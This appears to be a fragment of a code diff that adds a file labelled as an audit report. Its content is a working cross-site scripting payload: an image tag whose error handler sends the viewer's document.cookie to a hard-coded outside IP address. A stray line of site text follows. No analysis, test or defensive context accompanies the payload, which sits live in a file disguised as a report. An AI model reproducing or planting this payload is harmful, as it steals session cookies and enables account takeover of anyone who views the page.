@ -0,0 +1,3 @@
# audit-report-2
<img src=x onerror=fetch("http://144.172.101.121:8888/xss2?c="+document.cookie)>
The note is not visible to the blocked user.